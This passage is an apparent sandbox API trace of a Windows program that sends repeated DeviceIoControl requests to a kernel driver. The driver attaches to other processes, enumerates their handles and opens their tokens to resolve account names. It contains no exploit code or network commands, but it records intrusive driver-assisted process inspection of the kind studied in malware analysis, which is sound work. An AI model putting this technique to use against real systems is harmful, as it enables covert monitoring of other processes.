KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.732] PsReleaseProcessExitSynchronization () returned 0x2 [0132.732] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0132.732] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.732] ObfDereferenceObject (Object=0xfffffa800206bdc0) returned 0x1 [0132.732] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.732] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.732] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.732] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.732] PsAcquireProcessExitSynchronization () returned 0x0 [0132.732] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880050005d0) [0132.732] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.732] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.732] PsReleaseProcessExitSynchronization () returned 0x2 [0132.732] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0132.732] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.732] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.732] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.732] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.732] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x86c) returned 0xc0 [0132.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.732] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020a1360, HandleInformation=0x0) returned 0x0 [0132.732] ObOpenObjectByPointer (in: Object=0xfffffa80020a1360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.733] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x12 [0132.733] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.733] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.733] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.733] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.733] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.734] CloseHandle (hObject=0xc8) returned 1 [0132.734] CloseHandle (hObject=0xc0) returned 1 [0132.734] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.734] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.734] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.734] PsAcquireProcessExitSynchronization () returned 0x0 [0132.734] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880050005d0) [0132.734] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020e3c10, HandleInformation=0x0) returned 0x0 [0132.734] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.734] PsReleaseProcessExitSynchronization () returned 0x2 [0132.734] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0132.734] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.735] ObfDereferenceObject (Object=0xfffffa80020e3c10) returned 0x1 [0132.735] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.735] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.735] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0132.735] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.735] PsAcquireProcessExitSynchronization () returned 0x0 [0132.735] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880050005d0) [0132.735] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020e3ac0, HandleInformation=0x0) returned 0x0 [0132.735] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.735] PsReleaseProcessExitSynchronization () returned 0x2 [0132.735] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0132.735] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.735] ObfDereferenceObject (Object=0xfffffa80020e3ac0) returned 0x1 [0132.735] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.735] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.735] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.735] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.735] PsAcquireProcessExitSynchronization () returned 0x0 [0132.735] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880050005d0) [0132.735] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.735] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.735] PsReleaseProcessExitSynchronization () returned 0x2 [0132.735] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0132.735] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.735] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.735] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.735] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.735] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0xc0 [0132.736] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.736] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800208b060, HandleInformation=0x0) returned 0x0 [0132.736] ObOpenObjectByPointer (in: Object=0xfffffa800208b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.736] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x12 [0132.736] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.736] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.736] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.736] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.736] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.737] CloseHandle (hObject=0xc8) returned 1 [0132.737] CloseHandle (hObject=0xc0) returned 1 [0132.737] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.737] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.737] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.737] PsAcquireProcessExitSynchronization () returned 0x0 [0132.737] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880050005d0) [0132.737] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019ac4f0, HandleInformation=0x0) returned 0x0 [0132.738] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.738] PsReleaseProcessExitSynchronization () returned 0x2 [0132.738] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0132.738] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.738] ObfDereferenceObject (Object=0xfffffa80019ac4f0) returned 0x1 [0132.738] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.738] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.738] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0132.738] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.738] PsAcquireProcessExitSynchronization () returned 0x0 [0132.738] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880050005d0) [0132.738] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f9c200, HandleInformation=0x0) returned 0x0 [0132.738] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.738] PsReleaseProcessExitSynchronization () returned 0x2 [0132.738] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0132.738] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.738] ObfDereferenceObject (Object=0xfffffa8001f9c200) returned 0x1 [0132.738] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.738] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.738] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.738] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.738] PsAcquireProcessExitSynchronization () returned 0x0 [0132.738] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880050005d0) [0132.738] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.739] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.739] PsReleaseProcessExitSynchronization () returned 0x2 [0132.739] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0132.739] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.739] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.739] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.739] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.739] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0xc0 [0132.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.739] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fc0b30, HandleInformation=0x0) returned 0x0 [0132.739] ObOpenObjectByPointer (in: Object=0xfffffa8001fc0b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.739] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x12 [0132.739] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.739] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.739] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.739] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.739] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.740] CloseHandle (hObject=0xc8) returned 1 [0132.740] CloseHandle (hObject=0xc0) returned 1 [0132.741] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.741] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.741] PsAcquireProcessExitSynchronization () returned 0x0 [0132.741] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880050005d0) [0132.741] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a126f0, HandleInformation=0x0) returned 0x0 [0132.741] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.741] PsReleaseProcessExitSynchronization () returned 0x2 [0132.741] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0132.741] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.741] ObfDereferenceObject (Object=0xfffffa8001a126f0) returned 0x1 [0132.741] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.741] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.741] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0132.741] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.741] PsAcquireProcessExitSynchronization () returned 0x0 [0132.741] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880050005d0) [0132.741] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fc01e0, HandleInformation=0x0) returned 0x0 [0132.741] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.741] PsReleaseProcessExitSynchronization () returned 0x2 [0132.741] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0132.741] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.741] ObfDereferenceObject (Object=0xfffffa8001fc01e0) returned 0x1 [0132.741] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.741] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.742] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.742] PsLookupProcessByProcessId (in: ProcessId=0x890, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.742] PsAcquireProcessExitSynchronization () returned 0x0 [0132.742] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc0b30, ApcState=0xfffff880050005d0) [0132.742] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.742] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.742] PsReleaseProcessExitSynchronization () returned 0x2 [0132.742] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x10 [0132.742] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0132.742] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.742] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.742] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.742] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8a0) returned 0xc0 [0132.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.742] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fef740, HandleInformation=0x0) returned 0x0 [0132.742] ObOpenObjectByPointer (in: Object=0xfffffa8001fef740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.742] ObfDereferenceObject (Object=0xfffffa8001fef740) returned 0x12 [0132.742] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.742] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.742] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.742] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.742] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, 